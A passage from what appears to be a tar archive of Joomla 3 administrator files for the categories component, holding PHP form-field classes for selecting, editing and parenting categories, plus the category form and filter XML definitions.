		$allowPropagate = ((string) $this->element['propagate'] == 'true');

		$languages = LanguageHelper::getContentLanguages(array(0, 1));

		// Load language.
		JFactory::getLanguage()->load('com_categories', JPATH_ADMINISTRATOR);

		// The active category id field.
		$value = (int) $this->value > 0 ? (int) $this->value : '';

		// Create the modal id.
		$modalId = 'Category_' . $this->id;

		// Add the modal field script to the document head.
		JHtml::_('jquery.framework');
		JHtml::_('script', 'system/modal-fields.js', array('version' => 'auto', 'relative' => true));

		// Script to proxy the select modal function to the modal-fields.js file.
		if ($allowSelect)
		{
			static $scriptSelect = null;

			if (is_null($scriptSelect))
			{
				$scriptSelect = array();
			}

			if (!isset($scriptSelect[$this->id]))
			{
				JFactory::getDocument()->addScriptDeclaration("
				function jSelectCategory_" . $this->id . "(id, title, object) {
					window.processModalSelect('Category', '" . $this->id . "', id, title, '', object);
				}
				");

				JText::script('JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED');

				$scriptSelect[$this->id] = true;
			}
		}

		// Setup variables for display.
		$linkCategories = 'index.php?option=com_categories&amp;view=categories&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1'
			. '&amp;extension=' . $extension;
		$linkCategory  = 'index.php?option=com_categories&amp;view=category&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1'
			. '&amp;extension=' . $extension;
		$modalTitle    = JText::_('COM_CATEGORIES_CHANGE_CATEGORY');

		if (isset($this->element['language']))
		{
			$linkCategories .= '&amp;forcedLanguage=' . $this->element['language'];
			$linkCategory   .= '&amp;forcedLanguage=' . $this->element['language'];
			$modalTitle     .= ' &#8212; ' . $this->element['label'];
		}

		$urlSelect = $linkCategories . '&amp;function=jSelectCategory_' . $this->id;
		$urlEdit   = $linkCategory . '&amp;task=category.edit&amp;id=\' + document.getElementById("' . $this->id . '_id").value + \'';
		$urlNew    = $linkCategory . '&amp;task=category.add';

		if ($value)
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('title'))
				->from($db->quoteName('#__categories'))
				->where($db->quoteName('id') . ' = ' . (int) $value);
			$db->setQuery($query);

			try
			{
				$title = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());
			}
		}

		$title = empty($title) ? JText::_('COM_CATEGORIES_SELECT_A_CATEGORY') : htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The current category display field.
		$html  = '<span class="input-append">';
		$html .= '<input class="input-medium" id="' . $this->id . '_name" type="text" value="' . $title . '" disabled="disabled" size="35" />';

		// Select category button.
		if ($allowSelect)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_select"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalSelect' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CATEGORIES_CHANGE_CATEGORY') . '">'
				. '<span class="icon-file" aria-hidden="true"></span> ' . JText::_('JSELECT')
				. '</button>';
		}

		// New category button.
		if ($allowNew)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_new"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalNew' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CATEGORIES_NEW_CATEGORY') . '">'
				. '<span class="icon-new" aria-hidden="true"></span> ' . JText::_('JACTION_CREATE')
				. '</button>';
		}

		// Edit category button.
		if ($allowEdit)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_edit"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalEdit' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CATEGORIES_EDIT_CATEGORY') . '">'
				. '<span class="icon-edit" aria-hidden="true"></span> ' . JText::_('JACTION_EDIT')
				. '</button>';
		}

		// Clear category button.
		if ($allowClear)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_clear"'
				. ' onclick="window.processModalParent(\'' . $this->id . '\'); return false;">'
				. '<span class="icon-remove" aria-hidden="true"></span>' . JText::_('JCLEAR')
				. '</button>';
		}

		// Propagate category button
		if ($allowPropagate && count($languages) > 2)
		{
			// Strip off language tag at the end
			$tagLength = (int) strlen($this->element['language']);
			$callbackFunctionStem = substr("jSelectCategory_" . $this->id, 0, -$tagLength);

			$html .= '<a'
			. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
			. ' id="' . $this->id . '_propagate"'
			. ' href="#"'
			. ' title="' . JHtml::tooltipText('JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP') . '"'
			. ' onclick="Joomla.propagateAssociation(\'' . $this->id . '\', \'' . $callbackFunctionStem . '\');">'
			. '<span class="icon-refresh" aria-hidden="true"></span>' . JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON')
			. '</a>';
		}

		$html .= '</span>';

		// Select category modal.
		if ($allowSelect)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalSelect' . $modalId,
				array(
					'title'       => $modalTitle,
					'url'         => $urlSelect,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn" data-dismiss="modal">' . JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>',
				)
			);
		}

		// New category modal.
		if ($allowNew)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalNew' . $modalId,
				array(
					'title'       => JText::_('COM_CATEGORIES_NEW_CATEGORY'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlNew,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'category\', \'cancel\', \'item-form\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'category\', \'save\', \'item-form\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'category\', \'apply\', \'item-form\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Edit category modal.
		if ($allowEdit)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalEdit' . $modalId,
				array(
					'title'       => JText::_('COM_CATEGORIES_EDIT_CATEGORY'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlEdit,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'category\', \'cancel\', \'item-form\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'category\', \'save\', \'item-form\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'category\', \'apply\', \'item-form\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Note: class='required' for client side validation
		$class = $this->required ? ' class="required modal-value"' : '';

		$html .= '<input type="hidden" id="' . $this->id . '_id"' . $class . ' data-required="' . (int) $this->required . '" name="' . $this->name
			. '" data-text="' . htmlspecialchars(JText::_('COM_CATEGORIES_SELECT_A_CATEGORY', true), ENT_COMPAT, 'UTF-8') . '" value="' . $value . '" />';

		return $html;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.7.0
	 */
	protected function getLabel()
	{
		return str_replace($this->id, $this->id . '_id', parent::getLabel());
	}
}
com_categories/models/fields/categoryparent.php000060400000012155152455305310016023 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Category Parent field.
 *
 * @since       1.6
 * @deprecated  4.0  Use categoryedit instead.
 */
class JFormFieldCategoryParent extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'CategoryParent';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   1.6
	 */
	protected function getOptions()
	{
		// Initialise variables.
		$options = array();
		$name = (string) $this->element['name'];

		// Let's get the id for the current item, either category or content item.
		$jinput = JFactory::getApplication()->input;

		// For categories the old category is the category id 0 for new category.
		if ($this->element['parent'])
		{
			$oldCat = $jinput->get('id', 0);
		}
		else
			// For items the old category is the category they are in when opened or 0 if new.
		{
			$oldCat = $this->form->getValue($name);
		}

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('a.id AS value, a.title AS text, a.level')
			->from('#__categories AS a')
			->join('LEFT', $db->quoteName('#__categories') . ' AS b ON a.lft > b.lft AND a.rgt < b.rgt');

		// Filter by the type
		if ($extension = $this->form->getValue('extension'))
		{
			$query->where('(a.extension = ' . $db->quote($extension) . ' OR a.parent_id = 0)');
		}

		if ($this->element['parent'])
		{
			// Prevent parenting to children of this item.
			if ($id = $this->form->getValue('id'))
			{
				$query->join('LEFT', $db->quoteName('#__categories') . ' AS p ON p.id = ' . (int) $id)
					->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)');

				$rowQuery = $db->getQuery(true);
				$rowQuery->select('a.id AS value, a.title AS text, a.level, a.parent_id')
					->from('#__categories AS a')
					->where('a.id = ' . (int) $id);
				$db->setQuery($rowQuery);
				$row = $db->loadObject();
			}
		}

		$query->where('a.published IN (0,1)')
			->group('a.id, a.title, a.level, a.lft, a.rgt, a.extension, a.parent_id')
			->order('a.lft ASC');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		// Pad the option text with spaces using depth level as a multiplier.
		for ($i = 0, $n = count($options); $i < $n; $i++)
		{
			// Translate ROOT
			if ($options[$i]->level == 0)
			{
				$options[$i]->text = JText::_('JGLOBAL_ROOT_PARENT');
			}

			// Displays language code if not set to All
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('language'))
				->where($db->quoteName('id') . '=' . (int) $options[$i]->value)
				->from($db->quoteName('#__categories'));

			$db->setQuery($query);
			$language = $db->loadResult();

			$options[$i]->text = str_repeat('- ', $options[$i]->level) . $options[$i]->text;

			if ($language !== '*')
			{
				$options[$i]->text = $options[$i]->text . ' (' . $language . ')';
			}
		}

		// Get the current user object.
		$user = JFactory::getUser();

		// For new items we want a list of categories you are allowed to create in.
		if ($oldCat == 0)
		{
			foreach ($options as $i => $option)
			{
				/*
				 * To take save or create in a category you need to have create rights for that category unless the item is already in that category.
				 * Unset the option if the user isn't authorised for it. In this field assets are always categories.
				 */
				if ($user->authorise('core.create', $extension . '.category.' . $option->value) != true)
				{
					unset($options[$i]);
				}
			}
		}
		// If you have an existing category id things are more complex.
		else
		{
			foreach ($options as $i => $option)
			{
				/*
				 * If you are only allowed to edit in this category but not edit.state, you should not get any
				 * option to change the category parent for a category or the category for a content item,
				 * but you should be able to save in that category.
				 */
				if ($user->authorise('core.edit.state', $extension . '.category.' . $oldCat) != true)
				{
					if ($option->value != $oldCat)
					{
						echo 'y';
						unset($options[$i]);
					}
				}
				/*
				 * However, if you can edit.state you can also move this to another category for which you have
				 * create permission and you should also still be able to save in the current category.
				 */
				elseif (($user->authorise('core.create', $extension . '.category.' . $option->value) != true)
					&& $option->value != $oldCat
				)
				{
					echo 'x';
					unset($options[$i]);
				}
			}
		}

		if (isset($row) && !isset($options[0]))
		{
			if ($row->parent_id == '1')
			{
				$parent = new stdClass;
				$parent->text = JText::_('JGLOBAL_ROOT_PARENT');
				array_unshift($options, $parent);
			}
		}

		// Merge any additional options in the XML definition.
		return array_merge(parent::getOptions(), $options);
	}
}
com_categories/models/fields/categoryedit.php000060400000031524152455305310015460 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JFormHelper::loadFieldClass('list');

/**
 * Category Edit field..
 *
 * @since  1.6
 */
class JFormFieldCategoryEdit extends JFormFieldList
{
	/**
	 * To allow creation of new categories.
	 *
	 * @var    integer
	 * @since  3.6
	 */
	protected $allowAdd;

	/**
	 * Optional prefix for new categories.
	 *
	 * @var    string
	 * @since  3.9.11
	 */
	protected $customPrefix;

	/**
	 * A flexible category list that respects access controls
	 *
	 * @var    string
	 * @since  1.6
	 */
	public $type = 'CategoryEdit';

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.2
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		if ($return)
		{
			$this->allowAdd = isset($this->element['allowAdd']) ? $this->element['allowAdd'] : '';
			$this->customPrefix = (string) $this->element['customPrefix'];
		}

		return $return;
	}

	/**
	 * Method to get certain otherwise inaccessible properties from the form field object.
	 *
	 * @param   string  $name  The property name for which to get the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @since   3.6
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'allowAdd':
			case 'customPrefix':
				return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Method to set certain otherwise inaccessible properties of the form field object.
	 *
	 * @param   string  $name   The property name for which to set the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @since   3.6
	 */
	public function __set($name, $value)
	{
		$value = (string) $value;

		switch ($name)
		{
			case 'allowAdd':
				$value = (string) $value;
				$this->$name = ($value === 'true' || $value === $name || $value === '1');
				break;
			case 'customPrefix':
				$this->$name = (string) $value;
				break;
			default:
				parent::__set($name, $value);
		}
	}

	/**
	 * Method to get a list of categories that respects access controls and can be used for
	 * either category assignment or parent category assignment in edit screens.
	 * Use the parent element to indicate that the field will be used for assigning parent categories.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   1.6
	 */
	protected function getOptions()
	{
		$options = array();
		$published = $this->element['published'] ? explode(',', (string) $this->element['published']) : array(0, 1);
		$name = (string) $this->element['name'];

		// Let's get the id for the current item, either category or content item.
		$jinput = JFactory::getApplication()->input;

		// Load the category options for a given extension.

		// For categories the old category is the category id or 0 for new category.
		if ($this->element['parent'] || $jinput->get('option') == 'com_categories')
		{
			$oldCat = $jinput->get('id', 0);
			$oldParent = $this->form->getValue($name, 0);
			$extension = $this->element['extension'] ? (string) $this->element['extension'] : (string) $jinput->get('extension', 'com_content');
		}
		else
			// For items the old category is the category they are in when opened or 0 if new.
		{
			$oldCat = $this->form->getValue($name, 0);
			$extension = $this->element['extension'] ? (string) $this->element['extension'] : (string) $jinput->get('option', 'com_content');
		}

		// Account for case that a submitted form has a multi-value category id field (e.g. a filtering form), just use the first category
		$oldCat = is_array($oldCat)
			? (int) reset($oldCat)
			: (int) $oldCat;

		$db = JFactory::getDbo();
		$user = JFactory::getUser();

		$query = $db->getQuery(true)
			->select('a.id AS value, a.title AS text, a.level, a.published, a.lft, a.language')
			->from('#__categories AS a');

		// Filter by the extension type
		if ($this->element['parent'] == true || $jinput->get('option') == 'com_categories')
		{
			$query->where('(a.extension = ' . $db->quote($extension) . ' OR a.parent_id = 0)');
		}
		else
		{
			$query->where('(a.extension = ' . $db->quote($extension) . ')');
		}

		// Filter language
		if (!empty($this->element['language']))
		{
			if (strpos($this->element['language'], ',') !== false)
			{
				$language = implode(',', $db->quote(explode(',', $this->element['language'])));
			}
			else
			{
				$language = $db->quote($this->element['language']);
			}

			$query->where($db->quoteName('a.language') . ' IN (' . $language . ')');
		}

		// Filter on the published state
		$query->where('a.published IN (' . implode(',', ArrayHelper::toInteger($published)) . ')');

		// Filter categories on User Access Level
		// Filter by access level on categories.
		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}

		$query->order('a.lft ASC');

		// If parent isn't explicitly stated but we are in com_categories assume we want parents
		if ($oldCat != 0 && ($this->element['parent'] == true || $jinput->get('option') == 'com_categories'))
		{
			// Prevent parenting to children of this item.
			// To rearrange parents and children move the children up, not the parents down.
			$query->join('LEFT', $db->quoteName('#__categories') . ' AS p ON p.id = ' . (int) $oldCat)
				->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)');

			$rowQuery = $db->getQuery(true);
			$rowQuery->select('a.id AS value, a.title AS text, a.level, a.parent_id')
				->from('#__categories AS a')
				->where('a.id = ' . (int) $oldCat);
			$db->setQuery($rowQuery);
			$row = $db->loadObject();
		}

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		// Pad the option text with spaces using depth level as a multiplier.
		for ($i = 0, $n = count($options); $i < $n; $i++)
		{
			// Translate ROOT
			if ($this->element['parent'] == true || $jinput->get('option') == 'com_categories')
			{
				if ($options[$i]->level == 0)
				{
					$options[$i]->text = JText::_('JGLOBAL_ROOT_PARENT');
				}
			}

			if ($options[$i]->published == 1)
			{
				$options[$i]->text = str_repeat('- ', !$options[$i]->level ? 0 : $options[$i]->level - 1) . $options[$i]->text;
			}
			else
			{
				$options[$i]->text = str_repeat('- ', !$options[$i]->level ? 0 : $options[$i]->level - 1) . '[' . $options[$i]->text . ']';
			}

			// Displays language code if not set to All
			if ($options[$i]->language !== '*')
			{
				$options[$i]->text = $options[$i]->text . ' (' . $options[$i]->language . ')';
			}
		}

		// For new items we want a list of categories you are allowed to create in.
		if ($oldCat == 0)
		{
			foreach ($options as $i => $option)
			{
				/*
				 * To take save or create in a category you need to have create rights for that category unless the item is already in that category.
				 * Unset the option if the user isn't authorised for it. In this field assets are always categories.
				 */
				if ($option->level != 0 && !$user->authorise('core.create', $extension . '.category.' . $option->value))
				{
					unset($options[$i]);
				}
			}
		}
		// If you have an existing category id things are more complex.
		else
		{
			/*
			 * If you are only allowed to edit in this category but not edit.state, you should not get any
			 * option to change the category parent for a category or the category for a content item,
			 * but you should be able to save in that category.
			 */
			foreach ($options as $i => $option)
			{
				$assetKey = $extension . '.category.' . $oldCat;

				if ($option->level != 0 && !isset($oldParent) && $option->value != $oldCat && !$user->authorise('core.edit.state', $assetKey))
				{
					unset($options[$i]);
					continue;
				}

				if ($option->level != 0	&& isset($oldParent) && $option->value != $oldParent && !$user->authorise('core.edit.state', $assetKey))
				{
					unset($options[$i]);
					continue;
				}

				/*
				 * However, if you can edit.state you can also move this to another category for which you have
				 * create permission and you should also still be able to save in the current category.
				 */
				$assetKey = $extension . '.category.' . $option->value;

				if ($option->level != 0 && !isset($oldParent) && $option->value != $oldCat && !$user->authorise('core.create', $assetKey))
				{
					unset($options[$i]);
					continue;
				}

				if ($option->level != 0	&& isset($oldParent) && $option->value != $oldParent && !$user->authorise('core.create', $assetKey))
				{
					unset($options[$i]);
					continue;
				}
			}
		}

		if (($this->element['parent'] == true || $jinput->get('option') == 'com_categories')
			&& (isset($row) && !isset($options[0]))
			&& isset($this->element['show_root']))
		{
			if ($row->parent_id == '1')
			{
				$parent = new stdClass;
				$parent->text = JText::_('JGLOBAL_ROOT_PARENT');
				array_unshift($options, $parent);
			}

			array_unshift($options, JHtml::_('select.option', '0', JText::_('JGLOBAL_ROOT')));
		}

		// Merge any additional options in the XML definition.
		return array_merge(parent::getOptions(), $options);
	}

	/**
	 * Method to get the field input markup for a generic list.
	 * Use the multiple attribute to enable multiselect.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.6
	 */
	protected function getInput()
	{
		$html = array();
		$class = array();
		$attr = '';

		// Initialize some field attributes.
		$class[] = !empty($this->class) ? $this->class : '';

		if ($this->allowAdd)
		{
			$customGroupText = JText::_('JGLOBAL_CUSTOM_CATEGORY');

			$class[] = 'chzn-custom-value';
			$attr .= ' data-custom_group_text="' . $customGroupText . '" '
					. 'data-no_results_text="' . JText::_('JGLOBAL_ADD_CUSTOM_CATEGORY') . '" '
					. 'data-placeholder="' . JText::_('JGLOBAL_TYPE_OR_SELECT_CATEGORY') . '" ';

			if ($this->customPrefix !== '')
			{
				$attr .= 'data-custom_value_prefix="' . $this->customPrefix . '" ';
			}
		}

		if ($class)
		{
			$attr .= 'class="' . implode(' ', $class) . '"';
		}

		$attr .= !empty($this->size) ? ' size="' . $this->size . '"' : '';
		$attr .= $this->multiple ? ' multiple' : '';
		$attr .= $this->required ? ' required aria-required="true"' : '';
		$attr .= $this->autofocus ? ' autofocus' : '';

		// To avoid user's confusion, readonly="true" should imply disabled="true".
		if ((string) $this->readonly == '1'
			|| (string) $this->readonly == 'true'
			|| (string) $this->disabled == '1'
			|| (string) $this->disabled == 'true')
		{
			$attr .= ' disabled="disabled"';
		}

		// Initialize JavaScript field attributes.
		$attr .= $this->onchange ? ' onchange="' . $this->onchange . '"' : '';

		// Get the field options.
		$options = (array) $this->getOptions();

		// Create a read-only list (no name) with hidden input(s) to store the value(s).
		if ((string) $this->readonly == '1' || (string) $this->readonly == 'true')
		{
			$html[] = JHtml::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $this->value, $this->id);

			// E.g. form field type tag sends $this->value as array
			if ($this->multiple && is_array($this->value))
			{
				if (!count($this->value))
				{
					$this->value[] = '';
				}

				foreach ($this->value as $value)
				{
					$html[] = '<input type="hidden" name="' . $this->name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"/>';
				}
			}
			else
			{
				$html[] = '<input type="hidden" name="' . $this->name . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"/>';
			}
		}
		else
		{
			// Create a regular list.
			if (count($options) === 0)
			{
				// All Categories have been deleted, so we need a new category (This will create on save if selected).
				$options[0]            = new stdClass;
				$options[0]->value     = 'Uncategorised';
				$options[0]->text      = 'Uncategorised';
				$options[0]->level     = '1';
				$options[0]->published = '1';
				$options[0]->lft       = '1';
			}

			$html[] = JHtml::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id);
		}

		return implode($html);
	}
}
com_categories/models/forms/category.xml000060400000012522152455305310014500 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>

	<field
		name="id"
		type="number"
		label="JGLOBAL_FIELD_ID_LABEL"
		description="JGLOBAL_FIELD_ID_DESC"
		default="0"
		class="readonly"
		readonly="true"
	/>

	<field
		name="hits"
		type="number"
		label="JGLOBAL_HITS"
		description="COM_CATEGORIES_FIELD_HITS_DESC"
		default="0"
		class="readonly"
		readonly="true"
		filter="unset"
	/>

	<field
		name="asset_id"
		type="hidden"
		filter="unset"
		label="JFIELD_ASSET_ID_LABEL"
		description="JFIELD_ASSET_ID_DESC"
	/>

	<field
		name="parent_id"
		type="categoryedit"
		label="COM_CATEGORIES_FIELD_PARENT_LABEL"
		description="COM_CATEGORIES_FIELD_PARENT_DESC"
	/>

	<field
		name="lft"
		type="hidden"
		filter="unset"
	/>

	<field
		name="rgt"
		type="hidden"
		filter="unset"
	/>

	<field
		name="level"
		type="hidden"
		filter="unset"
	/>

	<field
		name="path"
		type="text"
		label="COM_CATEGORIES_PATH_LABEL"
		description="COM_CATEGORIES_PATH_DESC"
		class="readonly"
		size="40"
		readonly="true"
	/>

	<field
		name="extension"
		type="hidden"
	/>

	<field
		name="title"
		type="text"
		label="JGLOBAL_TITLE"
		description="JFIELD_TITLE_DESC"
		class="input-xxlarge input-large-text"
		size="40"
		required="true"
	/>

	<field
		name="alias"
		type="text"
		label="JFIELD_ALIAS_LABEL"
		description="JFIELD_ALIAS_DESC"
		size="45"
		hint="JFIELD_ALIAS_PLACEHOLDER"
	/>

	<field
		name="version_note"
		type="text"
		label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
		description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
		class="span12"
		size="45"
		maxlength="255"
	/>

	<field
		name="note"
		type="text"
		label="COM_CATEGORIES_FIELD_NOTE_LABEL"
		description="COM_CATEGORIES_FIELD_NOTE_DESC"
		class="span12"
		size="40"
		maxlength="255"
	/>

	<field
		name="description"
		type="editor"
		label="JGLOBAL_DESCRIPTION"
		description="COM_CATEGORIES_DESCRIPTION_DESC"
		filter="JComponentHelper::filterText"
		buttons="true"
		hide="readmore,pagebreak"
	/>

	<field
		name="published"
		type="list"
		label="JSTATUS"
		description="JFIELD_PUBLISHED_DESC"
		default="1"
		class="chzn-color-state"
		size="1"
		>
		<option value="1">JPUBLISHED</option>
		<option value="0">JUNPUBLISHED</option>
		<option value="2">JARCHIVED</option>
		<option value="-2">JTRASHED</option>
	</field>

	<field
		name="buttonspacer"
		type="spacer"
		label="JGLOBAL_ACTION_PERMISSIONS_LABEL"
		description="JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION"
	/>

	<field
		name="checked_out"
		type="hidden"
		filter="unset"
	/>

	<field
		name="checked_out_time"
		type="hidden"
		filter="unset"
	/>

	<field
		name="access"
		type="accesslevel"
		label="JFIELD_ACCESS_LABEL"
		description="JFIELD_ACCESS_DESC"
	/>

	<field
		name="metadesc"
		type="textarea"
		label="JFIELD_META_DESCRIPTION_LABEL"
		description="JFIELD_META_DESCRIPTION_DESC"
		rows="3"
		cols="40"
	/>

	<field
		name="metakey"
		type="textarea"
		label="JFIELD_META_KEYWORDS_LABEL"
		description="JFIELD_META_KEYWORDS_DESC"
		rows="3"
		cols="40"
	/>

	<field
		name="created_user_id"
		type="user"
		label="JGLOBAL_FIELD_CREATED_BY_LABEL"
		desc="JGLOBAL_FIELD_CREATED_BY_DESC"
	/>

	<field
		name="created_time"
		type="calendar"
		label="JGLOBAL_CREATED_DATE"
		translateformat="true"
		showtime="true"
		size="22"
		filter="user_utc"
	/>

	<field
		name="modified_user_id"
		type="user"
		label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
		class="readonly"
		readonly="true"
		filter="unset"
	/>

	<field
		name="modified_time"
		type="calendar"
		label="JGLOBAL_FIELD_MODIFIED_LABEL"
		class="readonly"
		translateformat="true"
		showtime="true"
		size="22"
		readonly="true"
		filter="user_utc"
	/>

	<field
		name="language"
		type="contentlanguage"
		label="JFIELD_LANGUAGE_LABEL"
		description="COM_CATEGORIES_FIELD_LANGUAGE_DESC"
		>
		<option value="*">JALL</option>
	</field>

	<field
		name="tags"
		type="tag"
		label="JTAG"
		description="JTAG_DESC"
		class="span12"
		multiple="true"
	/>

	<field
		name="rules"
		type="rules"
		label="JFIELD_RULES_LABEL"
		id="rules"
		translate_label="false"
		filter="rules"
		validate="rules"
		component="com_content"
		section="category"
	/>

	<fields name="params" label="COM_CATEGORIES_FIELD_BASIC_LABEL">

		<fieldset name="basic">

			<field
				name="category_layout"
				type="componentlayout"
				label="JFIELD_ALT_LAYOUT_LABEL"
				description="JFIELD_ALT_COMPONENT_LAYOUT_DESC"
				view="category"
				useglobal="true"
			/>

			<field
				name="image"
				type="media"
				label="COM_CATEGORIES_FIELD_IMAGE_LABEL"
				description="COM_CATEGORIES_FIELD_IMAGE_DESC"
			/>

			<field
				name="image_alt"
				type="text"
				label="COM_CATEGORIES_FIELD_IMAGE_ALT_LABEL"
				description="COM_CATEGORIES_FIELD_IMAGE_ALT_DESC"
				size="20"
			/>
		</fieldset>
	</fields>

	<fields name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

		<fieldset name="jmetadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

			<field
				name="author"
				type="text"
				label="JAUTHOR"
				description="JFIELD_METADATA_AUTHOR_DESC"
				size="30"
			/>

			<field
				name="robots"
				type="list"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				description="JFIELD_METADATA_ROBOTS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow"></option>
				<option value="noindex, follow"></option>
				<option value="index, nofollow"></option>
				<option value="noindex, nofollow"></option>
			</field>
		</fieldset>
	</fields>
</form>
com_categories/models/forms/filter_categories.xml000060400000005663152455305310016365 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>

	<fields name="filter">

		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CATEGORIES_FILTER_SEARCH_LABEL"
			description="COM_CATEGORIES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="COM_CATEGORIES_FILTER_PUBLISHED"
			description="COM_CATEGORIES_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
